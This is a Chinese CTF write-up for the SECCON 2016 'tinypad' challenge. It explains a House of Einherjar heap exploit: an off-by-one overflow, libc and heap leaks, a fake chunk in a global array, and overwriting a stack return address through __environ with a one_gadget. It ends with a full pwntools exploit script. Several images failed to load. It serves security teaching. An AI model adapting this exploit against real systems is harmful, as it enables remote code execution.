house-of-einherjar-tinypad

题目 : secconctf2016_tinypad

保护

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gAWNgpg1-1642591135200)(house-of-einherjar(tinypad)].assets/image-20220119154650784.png)

分析

add部分:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xnx4qtgC-1642591135202)(house-of-einherjar(tinypad)].assets/image-20220119154823873.png)

edit部分:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pQ6buMt1-1642591135202)(house-of-einherjar(tinypad)].assets/image-20220119154907216.png)

dele部分:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WyxrNPSN-1642591135203)(house-of-einherjar(tinypad)].assets/image-20220119154942892.png)

自带的show部分:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XWryFkXR-1642591135203)(house-of-einherjar(tinypad)].assets/image-20220119155030653.png)

其中堆块信息保存在tinypad[0x100]处理解图如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nLEgGfo8-1642591135204)(house-of-einherjar(tinypad)].assets/image-20220119155938736.png)

思路

上面ida分析的注释中对应解释了程序漏洞所在,那么首先进行libc泄露,首先malloc 4个chunk其中

chunkA :
  1. 必须为unsort bin
  2. 且size必须是8(十六进制)结尾,因为如果malloc 0xe8 ----真实大小—> 0xf0
  3. 这时可以写入的数据为0xe8 通过off-by-one则可以溢出到next_chunk的P标志位.如果malloc 0xe0 -----真实大小---->0xf0 但只能写入0xe0的数据,导致无法溢出
chunkB :
  1. chunkA 和 chunkB用于house of einherjar ,并间隔chunkA,chunkC防止发生合并
  2. chunkB必须为0xf0或者0xf8的大小这样chunkA溢出null字节就不会改变大小,只会改变它的P标志位
chunkC :
  1. 用于泄露heap地址,以便后续计算topchunk到目标地址处的偏移
chunkD :
  1. 用于防止topchunk合并,使chunkC正确的放入unsort bin
#------------leak--------------
add(0xe8,'A')
add(0xf0,'B')  
add(0x100,'C') 
add(0x10,'P') 

ru('INDEX: 1')
ru('CONTENT: ')
heap = uu64(rc(4)) - 0x1f0
success('heap',heap)
ru('INDEX: 3')
ru('CONTENT: ')
libc_base = uu64(rc(6)) - (0x7fb46aa46b78-0x7fb46a683000)
success('libc',libc_base)

进行house of einherjar攻击

#------------attack topchunk----------------
dele(4)#使topchunk合并到chunkB后面 形成house of einher jar标准结构
offset = heap+0xf0-tinypad #topchunk合并chunkB后根据prev_size的大小进行合并的距离
add(0xe8,b'A'*0xe0 +p64(offset)) #通过泄露的堆地址获得和tinypad的偏移 #重新分配到chunkA,并写入数据到chunkB的prev_size
fake = p64(0) + p64(offset) + p64(tinypad)*4
edit(1,fake)  #在目标地址处伪造fakechunk 从而绕过检查
dele(2)   #unlink

此时堆空间图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FhUtiiMA-1642591135205)(house-of-einherjar(tinypad)].assets/image-20220119190918045.png)

因为程序用不了got表修改,那么就可以通过泄露environ (environ变量是一个char** 类型,存储着系统的环境变量)可以通过它来获取libc_start_main的地址,然后修改它为one_gadget在程序最后退出时就会调用getshell

#------------leak stack----------------
add(0xe0,'P'*0x100)  #填充tinypad[0xf0]
environ = libc_base + libc.symbols['__environ']
payload =  p64(1) + p64(environ) + p64(1) + p64(tinypad+0x108)
add(0xe0,payload) #控制tinypad指针领域
ru('INDEX: 1')
ru('CONTENT: ')
libc_start_main = uu64(rc(6))-0xf0 #偏移0xf0就是libc_start_main地址

此时ptr空间图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BvzYXhGH-1642591135205)(house-of-einherjar(tinypad)].assets/image-20220119191440190.png)

最后修改指针就可以getshell了

#------------getshell----------------
edit(2,p64(libc_start_main))
edit(1,p64(libc_base + one[5]))
sla('(CMD)>>>','Q')

修改后的栈空间图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FDCKTTjb-1642591135206)(house-of-einherjar(tinypad)].assets/image-20220119191633598.png)

完整exp:

# -*-coding:utf-8 -*
from pwn import *
import sys

context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./tinypad"

global p
local = 1
if local:
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("111.200.241.244","58782")
    e = ELF(binary)
    libc = e.libc
    #libc = ELF('./libc_32.so.6')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + b'\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()


def z(s='b main'):
 gdb.attach(p,s)

def success(string,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))

def pa(s='暂停!'):
  log.success('当前执行步骤 -> '+str(s))
  pause()
one = [0x45206,0x4525a,0xcc673,0xcc748,0xefa00,0xf0897,0xf5e40,0xef9f4] #2.23
#one = [0x45226,0x4527a,0xcd173,0xcd248,0xf03a4,0xf03b0,0xf1247,0xf67f0]
#idx = int(sys.argv[1])

def add(size,data):
    sla('(CMD)>>>','A')
    sla('(SIZE)>>>',str(size))
    sla('(CONTENT)>>>',data)
def edit(size,data,flag='Y'):
    sla('(CMD)>>>','E')
    sla('(INDEX)>>>',str(size))
    sla('(CONTENT)>>>',data)
    sla('(Y/n)>>>',flag)
def dele(size):
    sla('(CMD)>>>','D')
    sla('(INDEX)>>>',str(size))

tinypad = 0x602040
#------------leak--------------
add(0xe8,'A')
#必须为unsort bin
#且size必须是8(十六进制)结尾,因为如果malloc 0xe8 ----真实大小---> 0xf0
#这时可以写入的数据为0xe8 通过off-by-one则可以溢出到next_chunk的P标志位
#如果malloc 0xe0 -----真实大小---->0xf0  但只能写入0xe0的数据,导致无法溢出
add(0xf0,'B')  #chunkA 和 chunkB用于house of einherjar ,并间隔chunkA,chunkC防止发生合并
#chunkB必须为0xf0或者0xf8这样chunkA溢出null字节就不会改变大小,只会改变它的P标志位
add(0x100,'C')  #用于泄露heap地址,以便下面计算topchunk到目标地址处的偏移
add(0x10,'P')  #用于防止topchunk合并,使chunkC正确的放入unsort bin
dele(3) #先free chunkC再chunkA,不然会获取不到值
dele(1) #泄露libc
ru('INDEX: 1')
ru('CONTENT: ')
heap = uu64(rc(4)) - 0x1f0
success('heap',heap)
ru('INDEX: 3')
ru('CONTENT: ')
libc_base = uu64(rc(6)) - (0x7fb46aa46b78-0x7fb46a683000)
success('libc',libc_base)
#------------attack topchunk----------------
dele(4)#使topchunk合并到chunkB后面 形成house of einher jar标准结构
offset = heap+0xf0-tinypad
add(0xe8,b'A'*0xe0 +p64(offset)) #通过泄露的堆地址获得与tinypad的偏移 ,
                                 #重新分配到chunkA,并写入chunkB的prev_size
fake = p64(0) + p64(offset) + p64(tinypad)*4
edit(1,fake)  #在目标地址处伪造fakechunk 从而绕过检查
dele(2)   #unlink
#------------leak stack----------------
add(0xe0,'P'*0x100)  #填充tinypad[0xf0]
environ = libc_base + libc.symbols['__environ']
#environ 变量是一个char** 类型,存储着系统的环境变量
#可以通过它来获取libc_start_main的地址,然后修改它为one_gadget
payload =  p64(1) + p64(environ) + p64(1) + p64(tinypad+0x108)
add(0xe0,payload) #控制tinypad指针领域
ru('INDEX: 1')
ru('CONTENT: ')
libc_start_main = uu64(rc(6))-0xf0
#------------getshell----------------
edit(2,p64(libc_start_main))
edit(1,p64(libc_base + one[5]))
sla('(CMD)>>>','Q')
#------------end----------------
it()
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值